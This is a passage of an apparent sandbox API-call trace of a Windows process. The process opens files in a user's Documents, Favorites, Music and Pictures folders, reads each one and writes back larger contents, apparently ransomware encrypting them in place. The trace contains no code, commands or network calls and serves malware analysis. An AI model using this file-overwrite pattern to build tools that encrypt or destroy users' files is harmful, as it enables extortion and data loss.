[0051.956] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.956] ReleaseMutex (hMutex=0x128) returned 1 [0051.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EGTY.csv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EGTY.csv", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EGTY.csv", lpUsedDefaultChar=0x0) returned 8 [0051.956] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x25b3 [0051.957] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x25b3 [0051.957] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.957] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.957] CloseHandle (hObject=0x1d4) returned 1 [0051.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zQ5sJf5JXHwLqfefHA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zq5sjf5jxhwlqfefha.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.958] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa1a3 [0051.958] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.958] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.958] ReleaseMutex (hMutex=0x128) returned 1 [0051.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zQ5sJf5JXHwLqfefHA.pps", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zQ5sJf5JXHwLqfefHA.pps", cchWideChar=22, lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zQ5sJf5JXHwLqfefHA.pps", lpUsedDefaultChar=0x0) returned 22 [0051.958] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.959] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x91a3 [0051.959] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.959] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x91a3 [0051.959] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.959] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.959] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.959] CloseHandle (hObject=0x1d4) returned 1 [0051.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.960] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.961] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x86 [0051.961] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.961] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.961] ReleaseMutex (hMutex=0x128) returned 1 [0051.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Store.url", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0051.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Store.url", cchWideChar=19, lpMultiByteStr=0x1e7894c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Store.url", lpUsedDefaultChar=0x0) returned 19 [0051.961] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e318, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x318f2bc*=0x86, lpOverlapped=0x0) returned 1 [0051.962] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.962] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60e, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x60e, lpOverlapped=0x0) returned 1 [0051.962] CloseHandle (hObject=0x1d4) returned 1 [0051.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.963] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.963] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x85 [0051.963] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.963] ReleaseMutex (hMutex=0x128) returned 1 [0051.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Spaces.url", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0051.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Spaces.url", cchWideChar=23, lpMultiByteStr=0x1e7894c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Live Spaces.url", lpUsedDefaultChar=0x0) returned 23 [0051.963] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e318, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x318f2bc*=0x85, lpOverlapped=0x0) returned 1 [0051.964] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.964] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0051.965] CloseHandle (hObject=0x1d4) returned 1 [0051.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\66ocaN_8OJ-N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\66ocan_8oj-n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.965] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.965] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1bc4 [0051.965] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.965] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.965] ReleaseMutex (hMutex=0x128) returned 1 [0051.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="66ocaN_8OJ-N.mp3", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="66ocaN_8OJ-N.mp3", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="66ocaN_8OJ-N.mp3", lpUsedDefaultChar=0x0) returned 16 [0051.965] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1bc4, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f2bc*=0x1bc4, lpOverlapped=0x0) returned 1 [0051.966] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.966] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x214c, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f2d0*=0x214c, lpOverlapped=0x0) returned 1 [0051.967] CloseHandle (hObject=0x1d4) returned 1 [0051.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hIeLoDySKKc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hielodyskkc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.967] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.967] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1d7b [0051.968] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.968] ReleaseMutex (hMutex=0x128) returned 1 [0051.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hIeLoDySKKc.mp3", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hIeLoDySKKc.mp3", cchWideChar=15, lpMultiByteStr=0x1e6312c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hIeLoDySKKc.mp3", lpUsedDefaultChar=0x0) returned 15 [0051.968] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1d7b, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f2bc*=0x1d7b, lpOverlapped=0x0) returned 1 [0051.968] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.969] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2303, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f2d0*=0x2303, lpOverlapped=0x0) returned 1 [0051.969] CloseHandle (hObject=0x1d4) returned 1 [0051.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ryuh26k8H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ryuh26k8h.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.970] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.970] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x46b5 [0051.970] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.970] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.970] ReleaseMutex (hMutex=0x128) returned 1 [0051.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ryuh26k8H.mp3", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ryuh26k8H.mp3", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ryuh26k8H.mp3", lpUsedDefaultChar=0x0) returned 13 [0051.970] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.971] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x36b5 [0051.971] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.971] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x36b5 [0051.971] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.971] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.971] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.971] CloseHandle (hObject=0x1d4) returned 1 [0051.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YA83pCu-qeoYh8UNgyo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ya83pcu-qeoyh8ungyo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.971] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.971] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1345 [0051.972] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.972] ReleaseMutex (hMutex=0x128) returned 1 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="YA83pCu-qeoYh8UNgyo.wav", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="YA83pCu-qeoYh8UNgyo.wav", cchWideChar=23, lpMultiByteStr=0x1e7894c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YA83pCu-qeoYh8UNgyo.wav", lpUsedDefaultChar=0x0) returned 23 [0051.972] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1345, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f2bc*=0x1345, lpOverlapped=0x0) returned 1 [0051.972] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.973] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x18cd, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f2d0*=0x18cd, lpOverlapped=0x0) returned 1 [0051.973] CloseHandle (hObject=0x1d4) returned 1 [0051.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\FBz26i6Uk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\fbz26i6uk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.973] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.973] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x10ca4 [0051.973] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.973] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.973] ReleaseMutex (hMutex=0x128) returned 1 [0051.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FBz26i6Uk.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FBz26i6Uk.png", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FBz26i6Uk.png", lpUsedDefaultChar=0x0) returned 13 [0051.973] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xfca4 [0051.974] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xfca4 [0051.975] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.975] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.975] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.976] CloseHandle (hObject=0x1d4) returned 1 [0051.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\Q2E9PQ0u7N6bZccEkgE2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\q2e9pq0u7n6bzccekge2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.976] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.976] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9d23 [0051.976] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.976] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.976] ReleaseMutex (hMutex=0x128) returned 1 [0051.976] WideCharToMultiByte (in: 